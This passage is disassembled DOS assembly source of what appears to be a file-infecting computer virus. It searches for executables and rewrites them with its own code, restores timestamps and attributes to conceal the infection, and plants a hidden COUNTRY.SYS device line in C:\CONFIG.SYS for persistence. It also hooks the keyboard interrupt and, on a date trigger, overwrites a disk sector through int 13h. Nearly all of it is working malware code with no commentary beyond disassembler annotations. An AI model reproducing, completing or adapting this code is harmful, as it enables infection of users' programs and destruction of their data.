  1261.                         ;  set current dir, path @ ds:dx
  1262.         mov    dx,data_0180
  1263.         mov    di,dx
  1264.         mov    ah,3Bh            ; ';'
  1265.         int    21h            ; DOS Services  ah=function 3Bh
  1266.                         ;  set current dir, path @ ds:dx
  1267.         mov    al,0
  1268.         mov    cx,20h
  1269.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1270.         mov    data_0180,di
  1271.  
  1272. loc_ret_0AAE:
  1273.         retn
  1274. sub_0A8A    endp
  1275.  
  1276.  
  1277. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1278. ;                   SUBROUTINE
  1279. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1280.  
  1281. sub_0AAF    proc    near
  1282.         mov    ax,data_0104
  1283.         and    al,1Fh
  1284.         cmp    al,1Eh
  1285.         retn
  1286. sub_0AAF    endp
  1287.  
  1288.  
  1289. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1290. ;                   SUBROUTINE
  1291. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1292.  
  1293. sub_0AB7    proc    near
  1294.         lea    dx,data_0194        ; Load effective addr
  1295.         cmp    data_011E,0
  1296.         je    loc_0AC6        ; Jump if equal
  1297.         lea    dx,data_018E        ; Load effective addr
  1298. loc_0AC6:
  1299.         mov    cx,23h
  1300.         mov    ah,4Eh            ; 'N'
  1301.         int    21h            ; DOS Services  ah=function 4Eh
  1302.                         ;  find 1st filenam match @ds:dx
  1303.         retn
  1304. sub_0AB7    endp
  1305.  
  1306.  
  1307. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1308. ;                   SUBROUTINE
  1309. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1310.  
  1311. sub_0ACE    proc    near
  1312.         lea    si,data_019D        ; Load effective addr
  1313.         add    si,15h
  1314.         lea    di,data_0103        ; Load effective addr
  1315.         mov    cx,16h
  1316.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  1317.         retn
  1318. sub_0ACE    endp
  1319.  
  1320.  
  1321. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1322. ;                   SUBROUTINE
  1323. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1324.  
  1325. sub_0ADF    proc    near
  1326.         pushf                ; Push flags
  1327.         mov    cx,data_0104
  1328.         or    cl,1Fh
  1329.         and    cl,0FEh
  1330.         mov    dx,data_0106
  1331.         mov    ax,5701h
  1332.         int    21h            ; DOS Services  ah=function 57h
  1333.                         ;  set file date+time, bx=handle
  1334.                         ;   cx=time, dx=time
  1335.         mov    ah,3Eh            ; '>'
  1336.         int    21h            ; DOS Services  ah=function 3Eh
  1337.                         ;  close file, bx=file handle
  1338.         lea    dx,data_010C        ; ('1888.COM') Load effective addr
  1339.         xor    ch,ch            ; Zero register
  1340.         mov    cl,data_0103
  1341.         mov    ax,4301h
  1342.         int    21h            ; DOS Services  ah=function 43h
  1343.                         ;  set attrb cx, filename @ds:dx
  1344.         popf                ; Pop flags
  1345.         retn
  1346. sub_0ADF    endp
  1347.  
  1348.  
  1349. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1350. ;                   SUBROUTINE
  1351. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1352.  
  1353. sub_0B08    proc    near
  1354.         lea    dx,data_010C        ; ('1888.COM') Load effective addr
  1355.         xor    cx,cx            ; Zero register
  1356.         mov    ax,4301h
  1357.         int    21h            ; DOS Services  ah=function 43h
  1358.                         ;  set attrb cx, filename @ds:dx
  1359.         jc    loc_ret_0B1C        ; Jump if carry Set
  1360.         mov    ax,3D02h
  1361.         int    21h            ; DOS Services  ah=function 3Dh
  1362.                         ;  open file, al=mode,name@ds:dx
  1363.         mov    bx,ax
  1364.  
  1365. loc_ret_0B1C:
  1366.         retn
  1367. sub_0B08    endp
  1368.  
  1369.  
  1370. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1371. ;                   SUBROUTINE
  1372. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1373.  
  1374. sub_0B1D    proc    near
  1375.         push    ds
  1376.         mov    ax,word ptr data_012C+2
  1377.         mov    ds,ax
  1378.         mov    cx,100h
  1379.         xor    dx,dx            ; Zero register
  1380.         mov    ah,3Fh            ; '?'
  1381.         int    21h            ; DOS Services  ah=function 3Fh
  1382.                         ;  read file, bx=file handle
  1383.                         ;   cx=bytes to ds:dx buffer
  1384.         cmp    word ptr ds:d_9E01_0000_e,5A4Dh
  1385.         nop                ;*ASM fixup - sign extn byte
  1386.         je    loc_0B38        ; Jump if equal
  1387.         stc                ; Set carry flag
  1388.         jmp    loc_0BB7
  1389. loc_0B38:
  1390.         call    sub_0BB9
  1391.         push    ax
  1392.         mov    ax,di
  1393.         and    ax,0Fh
  1394.         mov    cx,10h
  1395.         xor    dx,dx            ; Zero register
  1396.         sub    cx,ax
  1397.         mov    ah,40h            ; '@'
  1398.         int    21h            ; DOS Services  ah=function 40h
  1399.                         ;  write file  bx=file handle
  1400.                         ;   cx=bytes from ds:dx buffer
  1401.         jnc    loc_0B51        ; Jump if carry=0
  1402.         jmp    short loc_0BB7
  1403.         db    90h
  1404. loc_0B51:
  1405.         mov    si,ax
  1406.         mov    cx,100h
  1407.         mov    ah,40h            ; '@'
  1408.         int    21h            ; DOS Services  ah=function 40h
  1409.                         ;  write file  bx=file handle
  1410.                         ;   cx=bytes from ds:dx buffer
  1411.         jc    loc_0BB7        ; Jump if carry Set
  1412.         pop    dx
  1413.         mov    ax,di
  1414.         add    ax,si
  1415.         add    ax,100h
  1416.         cmp    ax,200h
  1417.         jb    loc_0B6D        ; Jump if below
  1418.         and    ax,1FFh
  1419.         inc    dx
  1420. loc_0B6D:
  1421.         mov    cl,4
  1422.         shr    ax,cl            ; Shift w/zeros fill
  1423.         dec    dx
  1424.         mov    cl,5
  1425.         shl    dx,cl            ; Shift w/zeros fill
  1426.         sub    dx,ds:d_9E01_0008_e
  1427.         add    ax,dx
  1428.         sub    ax,10h
  1429.         mov    ds:d_9E01_0016_e,ax
  1430.         mov    word ptr ds:d_9E01_0014_e,100h
  1431.         push    ds
  1432.         mov    ax,cs
  1433.         mov    ds,ax
  1434.         mov    cx,data_011C
  1435.         mov    dx,100h
  1436.         mov    ah,40h            ; '@'
  1437.         int    21h            ; DOS Services  ah=function 40h
  1438.                         ;  write file  bx=file handle
  1439.                         ;   cx=bytes from ds:dx buffer
  1440.         pop    ds
  1441.         jc    loc_0BB7        ; Jump if carry Set
  1442.         call    sub_0BB9
  1443.         mov    ds:d_9E01_0002_e,di
  1444.         mov    ds:d_9E01_0004_e,ax
  1445.         mov    ax,4200h
  1446.         xor    dx,dx            ; Zero register
  1447.         xor    cx,cx            ; Zero register
  1448.         int    21h            ; DOS Services  ah=function 42h
  1449.                         ;  move file ptr, bx=file handle
  1450.                         ;   al=method, cx,dx=offset
  1451.         jc    loc_0BB7        ; Jump if carry Set
  1452.         mov    cx,100h
  1453.         mov    ah,40h            ; '@'
  1454.         int    21h            ; DOS Services  ah=function 40h
  1455.                         ;  write file  bx=file handle
  1456.                         ;   cx=bytes from ds:dx buffer
  1457. loc_0BB7:
  1458.         pop    ds
  1459.         retn
  1460. sub_0B1D    endp
  1461.  
  1462.  
  1463. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1464. ;                   SUBROUTINE
  1465. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1466.  
  1467. sub_0BB9    proc    near
  1468.         mov    ax,4202h
  1469.         xor    cx,cx            ; Zero register
  1470.         xor    dx,dx            ; Zero register
  1471.         int    21h            ; DOS Services  ah=function 42h
  1472.                         ;  move file ptr, bx=file handle
  1473.                         ;   al=method, cx,dx=offset
  1474.         mov    di,ax
  1475.         and    di,1FFh
  1476.         mov    cl,9
  1477.         shr    ax,cl            ; Shift w/zeros fill
  1478.         mov    cl,7
  1479.         shl    dx,cl            ; Shift w/zeros fill
  1480.         add    ax,dx
  1481.         inc    ax
  1482.         retn
  1483. sub_0BB9    endp
  1484.  
  1485.  
  1486. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1487. ;                   SUBROUTINE
  1488. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1489.  
  1490. sub_0BD4    proc    near
  1491.         mov    ax,data_0108
  1492.         mov    data_0120,ax
  1493.         mov    cx,data_011C
  1494.         cmp    cx,ax
  1495.         jb    loc_0BEA        ; Jump if below
  1496.         mov    data_0120,cx
  1497.         mov    cx,data_0108
  1498. loc_0BEA:
  1499.         push    ds
  1500.         mov    ax,word ptr data_012C+2
  1501.         mov    ds,ax
  1502.         xor    dx,dx            ; Zero register
  1503.         mov    ah,3Fh            ; '?'
  1504.         int    21h            ; DOS Services  ah=function 3Fh
  1505.                         ;  read file, bx=file handle
  1506.                         ;   cx=bytes to ds:dx buffer
  1507.         pop    ds
  1508.         jc    loc_ret_0C3F        ; Jump if carry Set
  1509.         mov    ax,4200h
  1510.         xor    dx,dx            ; Zero register
  1511.         xor    cx,cx            ; Zero register
  1512.         int    21h            ; DOS Services  ah=function 42h
  1513.                         ;  move file ptr, bx=file handle
  1514.                         ;   al=method, cx,dx=offset
  1515.         jc    loc_ret_0C3F        ; Jump if carry Set
  1516.         mov    dx,100h
  1517.         mov    cx,data_011C
  1518.         mov    ah,40h            ; '@'
  1519.         int    21h            ; DOS Services  ah=function 40h
  1520.                         ;  write file  bx=file handle
  1521.                         ;   cx=bytes from ds:dx buffer
  1522.         jc    loc_ret_0C3F        ; Jump if carry Set
  1523.         cmp    ax,data_0108
  1524.         ja    loc_0C2E        ; Jump if above
  1525.         mov    ax,4200h
  1526.         mov    dx,data_0108
  1527.         mov    data_0120,dx
  1528.         xor    cx,cx            ; Zero register
  1529.         int    21h            ; DOS Services  ah=function 42h
  1530.                         ;  move file ptr, bx=file handle
  1531.                         ;   al=method, cx,dx=offset
  1532.         jc    loc_ret_0C3F        ; Jump if carry Set
  1533.         mov    cx,data_011C
  1534.         jmp    short loc_0C32
  1535. loc_0C2E:
  1536.         mov    cx,data_0108
  1537. loc_0C32:
  1538.         push    ds
  1539.         mov    ax,word ptr data_012C+2
  1540.         mov    ds,ax
  1541.         xor    dx,dx            ; Zero register
  1542.         mov    ah,40h            ; '@'
  1543.         int    21h            ; DOS Services  ah=function 40h
  1544.                         ;  write file  bx=file handle
  1545.                         ;   cx=bytes from ds:dx buffer
  1546.         pop    ds
  1547.  
  1548. loc_ret_0C3F:
  1549.         retn
  1550. sub_0BD4    endp
  1551.  
  1552.  
  1553. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1554. ;                   SUBROUTINE
  1555. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1556.  
  1557. sub_0C40    proc    near
  1558.         cmp    data_011B,2
  1559.         ja    loc_0C4A        ; Jump if above
  1560.         xor    ax,ax            ; Zero register
  1561.         retn
  1562. loc_0C4A:
  1563.         mov    al,data_0133
  1564.         and    al,1
  1565.         retn
  1566. sub_0C40    endp
  1567.  
  1568.  
  1569. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1570. ;                   SUBROUTINE
  1571. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1572.  
  1573. sub_0C50    proc    near
  1574.         cmp    data_0133,0Fh
  1575.         jb    loc_0C69        ; Jump if below
  1576.         mov    al,data_0135
  1577.         cmp    al,13h
  1578.         jb    loc_0C69        ; Jump if below
  1579.         mov    ax,40h
  1580.         mov    es,ax
  1581.         mov    byte ptr es:d_0040_004A_e,23h    ; '#'
  1582. loc_0C69:
  1583.         cmp    data_0133,0Dh
  1584.         jne    loc_ret_0C86        ; Jump if not equal
  1585.         cmp    data_0134,5
  1586.         jne    loc_ret_0C86        ; Jump if not equal
  1587.         mov    ax,301h
  1588.         mov    cx,1
  1589.         mov    dx,50h
  1590.         xor    bx,bx            ; Zero register
  1591.         mov    es,bx
  1592.         int    13h            ; Disk  dl=drive ?  ah=func 03h
  1593.                         ;  write sectors from mem es:bx
  1594.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  1595.  
  1596. loc_ret_0C86:
  1597.         retn
  1598. sub_0C50    endp
  1599.  
  1600.  
  1601. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1602. ;                   SUBROUTINE
  1603. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1604.  
  1605. sub_0C87    proc    near
  1606.         mov    data_019B,1
  1607.         lea    dx,data_05C1        ; Load effective addr
  1608.         mov    cx,27h
  1609.         mov    ah,4Eh            ; 'N'
  1610.         int    21h            ; DOS Services  ah=function 4Eh
  1611.                         ;  find 1st filenam match @ds:dx
  1612.         jnc    loc_0CC6        ; Jump if carry=0
  1613.         mov    ah,3Ch            ; '<'
  1614.         mov    cx,6
  1615.         int    21h            ; DOS Services  ah=function 3Ch
  1616.                         ;  create/truncate file @ ds:dx
  1617.         mov    bx,ax
  1618.         lea    dx,data_05EE        ; Load effective addr
  1619.         mov    cx,data_070A
  1620.         mov    si,dx
  1621.         add    si,data_00B3_e
  1622.         mov    ax,data_0130
  1623.         mov    [si],ax
  1624.         mov    ah,data_0132
  1625.         mov    [si+2],ah
  1626.         mov    ah,40h            ; '@'
  1627.         int    21h            ; DOS Services  ah=function 40h
  1628.                         ;  write file  bx=file handle
  1629.                         ;   cx=bytes from ds:dx buffer
  1630.         mov    ah,3Eh            ; '>'
  1631.         int    21h            ; DOS Services  ah=function 3Eh
  1632.                         ;  close file, bx=file handle
  1633.         jc    loc_0D1F        ; Jump if carry Set
  1634. loc_0CC6:
  1635.         lea    dx,data_05C7        ; ('C:\CONFIG.SYS') Load effective add
  1636.         mov    cx,27h
  1637.         mov    ah,4Eh            ; 'N'
  1638.         int    21h            ; DOS Services  ah=function 4Eh
  1639.                         ;  find 1st filenam match @ds:dx
  1640.         jc    loc_0D1F        ; Jump if carry Set
  1641.         call    sub_0ACE
  1642.         xor    cx,cx            ; Zero register
  1643.         mov    ax,4301h
  1644.         int    21h            ; DOS Services  ah=function 43h
  1645.                         ;  set attrb cx, filename @ds:dx
  1646.         mov    ax,3D02h
  1647.         int    21h            ; DOS Services  ah=function 3Dh
  1648.                         ;  open file, al=mode,name@ds:dx
  1649.         mov    bx,ax
  1650.         jc    loc_0D1F        ; Jump if carry Set
  1651.         mov    cx,data_0108
  1652.         push    es
  1653.         push    ds
  1654.         mov    ax,word ptr data_012C+2
  1655.         mov    ds,ax
  1656.         mov    es,ax
  1657.         xor    dx,dx            ; Zero register
  1658.         mov    ah,3Fh            ; '?'
  1659.         int    21h            ; DOS Services  ah=function 3Fh
  1660.                         ;  read file, bx=file handle
  1661.                         ;   cx=bytes to ds:dx buffer
  1662.         pop    ds
  1663.         mov    dx,ax
  1664.         mov    ax,0FFFFh
  1665.         xor    di,di            ; Zero register
  1666.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1667.         cmp    ax,es:[di-1]
  1668.         pop    es
  1669.         jz    loc_0D1F        ; Jump if zero
  1670.         mov    ax,4200h
  1671.         xor    cx,cx            ; Zero register
  1672.         dec    dx
  1673.         int    21h            ; DOS Services  ah=function 42h
  1674.                         ;  move file ptr, bx=file handle
  1675.                         ;   al=method, cx,dx=offset
  1676.         jc    loc_0D1F        ; Jump if carry Set
  1677.         lea    dx,data_05D5        ; ('DEVICE =') Load effective addr
  1678.         mov    cx,19h
  1679.         mov    ah,40h            ; '@'
  1680.         int    21h            ; DOS Services  ah=function 40h
  1681.                         ;  write file  bx=file handle
  1682.                         ;   cx=bytes from ds:dx buffer
  1683. loc_0D1F:
  1684.         call    sub_0ADF
  1685.         retn
  1686. sub_0C87    endp
  1687.  
  1688.         inc    bx
  1689.         cmp    bl,[si-1]
  1690.         inc    word ptr [bx+si]
  1691.         inc    bx
  1692.         cmp    bl,[si+43h]
  1693.         dec    di
  1694.         dec    si
  1695.         inc    si
  1696.         dec    cx
  1697.         inc    di
  1698.         db     2Eh, 53h, 59h, 53h, 00h
  1699.         db    'DEVICE ='
  1700.         db    0FFh,0FFh
  1701.         db    ' COUNTRY.SYS', 0Dh, 0Ah
  1702.         db     1Ah,0FFh,0FFh,0FFh,0FFh, 40h
  1703.         db    0C8h, 16h, 00h, 21h, 00h
  1704.         db    'hgt42   '
  1705.         db     00h, 00h, 00h, 00h, 2Eh, 89h
  1706.         db     1Eh, 12h, 00h, 2Eh, 8Ch, 06h
  1707.         db     14h, 00h,0CBh, 1Eh, 06h, 0Eh
  1708.         db     1Fh,0C4h, 3Eh, 12h, 00h, 26h
  1709.         db     8Ah, 45h, 02h, 3Ch, 00h, 75h
  1710.         db     03h,0E8h, 82h, 00h
  1711.         db     0Dh, 00h, 10h, 26h, 89h, 45h
  1712.         db     03h, 07h, 1Fh,0CBh, 50h, 53h
  1713.         db     51h, 1Eh
  1714.         db    0E4h, 60h,0A8h, 80h, 75h, 30h
  1715.         db     2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah
  1716.         db    0C7h, 75h, 27h,0B8h, 40h, 00h
  1717.         db     8Eh,0D8h,0E8h, 28h, 00h, 25h
  1718.         db     05h, 00h, 8Bh,0C8h
  1719.         db    0BBh, 1Ch, 00h
  1720.  
  1721. locloop_0DB1:
  1722.         mov    ax,cs:data_00A9_e
  1723.         mov    [bx],ax
  1724.         add    bx,2
  1725.         cmp    bx,3Fh
  1726.         jb    loc_0DC2        ; Jump if below
  1727.         mov    bx,1Eh
  1728. loc_0DC2:
  1729.         mov    word ptr ds:[1Ch],bx
  1730.         loop    locloop_0DB1        ; Loop if cx > 0
  1731.  
  1732. loc_0DC8:
  1733.         pop    ds
  1734.         pop    cx
  1735.         pop    bx
  1736.         pop    ax
  1737.         jmp    dword ptr cs:data_00A3_e
  1738.  
  1739. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1740. ;                   SUBROUTINE
  1741. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1742.  
  1743. sub_0DD1    proc    near
  1744.         mov    ax,cs:data_00A7_e
  1745.         push    ax
  1746.         and    ah,0B4h
  1747.         pop    ax
  1748.         jp    loc_0DDD        ; Jump if parity=1
  1749.         stc                ; Set carry flag
  1750. loc_0DDD:
  1751.         rcl    ax,1            ; Rotate thru carry
  1752.         mov    cs:data_00A7_e,ax
  1753.         retn
  1754. sub_0DD1    endp
  1755.  
  1756.         db    'hgt42   '
  1757.         db     00h, 56h, 31h, 00h, 46h, 52h
  1758.         db     44h, 00h, 00h, 00h, 00h, 00h
  1759.         db     00h, 65h, 12h, 65h, 73h, 74h
  1760.         db     6Eh, 12h, 1Fh, 14h, 31h,0CDh
  1761.         db    0ABh,0EFh
  1762.         db     06h, 57h,0B4h, 2Ah,0CDh, 21h
  1763.         db     8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h
  1764.         db     74h, 03h, 80h,0C4h
  1765.         db    0Ch
  1766. loc_0E17:
  1767.         sub    ah,ds:data_00B5_e
  1768.         cmp    ah,3
  1769.         jb    loc_0E5D        ; Jump if below
  1770.         mov    ds:data_00B5_e,dh
  1771.         mov    ds:data_00B3_e,cx
  1772.         mov    ah,2Ch            ; ','
  1773.         int    21h            ; DOS Services  ah=function 2Ch
  1774.                         ;  get time, cx=hrs/min, dx=sec
  1775.         mov    ds:data_00A7_e,dx
  1776.         call    sub_0DD1
  1777.         mov    bx,ax
  1778.         and    bx,3
  1779.         nop                ;*ASM fixup - sign extn byte
  1780.         mov    al,ds:data_00AB_e[bx]
  1781.         mov    ah,ds:data_00AF_e[bx]
  1782.         mov    ds:data_00A9_e,ax
  1783.         mov    ax,3516h
  1784.         int    21h            ; DOS Services  ah=function 35h
  1785.                         ;  get intrpt vector al in es:bx
  1786.         mov    ds:data_00A3_e,bx
  1787.         mov    bx,es
  1788.         mov    word ptr ds:data_00A3_e+2,bx
  1789.         cli                ; Disable interrupts
  1790. ;*        mov    dx,offset loc_003E    ;*
  1791.         db    0BAh, 3Eh, 00h
  1792.         mov    ax,2516h
  1793.         int    21h            ; DOS Services  ah=function 25h
  1794.                         ;  set intrpt vector al to ds:dx
  1795.         sti                ; Enable interrupts
  1796. loc_0E5D:
  1797.         pop    di
  1798.         pop    es
  1799.         mov    word ptr es:[di+0Eh],0B6h
  1800.         mov    es:[di+10h],cs
  1801.         xor    ax,ax            ; Zero register
  1802.         retn
  1803.         db    1Ch
  1804.         db     01h, 8Bh, 1Eh, 28h, 01h,0A1h
  1805.         db     26h, 01h, 8Eh,0D0h, 8Bh, 26h
  1806.         db     24h, 01h, 83h,0ECh, 04h, 8Bh
  1807.         db    0F4h, 80h, 3Eh, 1Fh, 01h, 00h
  1808.         db     75h, 28h,0BFh, 00h, 01h, 36h
  1809.         db     89h, 3Ch, 8Bh,0FBh, 36h, 89h
  1810.         db     7Ch, 02h, 33h,0FFh, 36h, 89h
  1811.         db     7Ch, 04h
  1812.         db    0BFh, 00h, 01h, 8Bh, 36h, 22h
  1813.         db     01h, 03h,0F7h, 8Bh, 0Eh, 1Ch
  1814.         db     01h, 8Ch,0D8h, 8Eh,0C0h,0F3h
  1815.         db    0A4h,0EBh, 16h, 90h
  1816. loc_0EAF:
  1817.         mov    di,bx
  1818.         add    di,10h
  1819.         mov    ax,ds:data_0016_e
  1820.         add    di,ax
  1821.         mov    ss:[si+2],di
  1822.         mov    di,word ptr ds:data_0012_e+2
  1823.         mov    ss:[si],di
  1824. loc_0EC4:
  1825.         mov    ds,bx
  1826.         mov    es,bx
  1827.         retf                ; Return far
  1828.         db     8Ch,0D0h, 2Eh,0A3h, 26h, 01h
  1829.         db     2Eh, 89h, 26h, 24h, 01h, 8Ch
  1830.         db    0C8h, 8Eh,0D0h,0BCh,0F7h, 01h
  1831.         db     1Eh, 8Eh,0D8h, 58h,0A3h, 28h
  1832.         db     01h,0E8h,0E6h,0FAh, 8Ch,0C8h
  1833.         db     8Eh,0C0h,0E8h, 6Dh,0FAh
  1834.         db    0BAh, 9Dh, 01h,0B4h, 1Ah,0CDh
  1835.         db     21h,0E8h, 1Bh,0FBh,0E8h, 0Eh
  1836.         db    0FBh, 73h, 03h,0E9h, 9Eh, 00h
  1837. loc_0EFE:
  1838.         call    sub_0989
  1839.         jc    loc_0F06        ; Jump if carry Set
  1840.         jmp    loc_0F9C
  1841. loc_0F06:
  1842.         call    sub_099C
  1843.         call    sub_0A32
  1844.         mov    data_011E,0
  1845. loc_0F11:
  1846.         call    sub_0AB7
  1847.         jc    loc_0F62        ; Jump if carry Set
  1848. loc_0F16:
  1849.         cmp    data_019C,4
  1850.         ja    loc_0F9C        ; Jump if above
  1851.         call    sub_0ACE
  1852.         call    sub_0AAF
  1853.         jnc    loc_0F5C        ; Jump if carry=0
  1854.         cmp    data_010A,4
  1855.         ja    loc_0F5C        ; Jump if above
  1856.         call    sub_0B08
  1857.         jc    loc_0F9C        ; Jump if carry Set
  1858.         cmp    data_011E,0
  1859.         je    loc_0F3D        ; Jump if equal
  1860.         call    sub_0B1D
  1861.         jmp    short loc_0F40
  1862. loc_0F3D:
  1863.         call    sub_0BD4
  1864. loc_0F40:
  1865.         call    sub_0ADF
  1866.         jc    loc_0F9C        ; Jump if carry Set
  1867.         inc    data_019C
  1868.         cmp    data_019B,1
  1869.         je    loc_0F5C        ; Jump if equal
  1870.         call    sub_0C40
  1871.         jz    loc_0F5C        ; Jump if zero
  1872.         call    sub_0C87
  1873.         jc    loc_0F9C        ; Jump if carry Set
  1874.         jmp    short loc_0F11
  1875. loc_0F5C:
  1876.         mov    ah,4Fh            ; 'O'
  1877.         int    21h            ; DOS Services  ah=function 4Fh
  1878.                         ;  find next filename match
  1879.         jnc    loc_0F16        ; Jump if carry=0
  1880. loc_0F62:
  1881.         cmp    data_011E,1
  1882.         je    loc_0F70        ; Jump if equal
  1883.         mov    data_011E,1
  1884.         jmp    short loc_0F11
  1885. loc_0F70:
  1886.         mov    data_011E,0
  1887.         cmp    data_019A,0
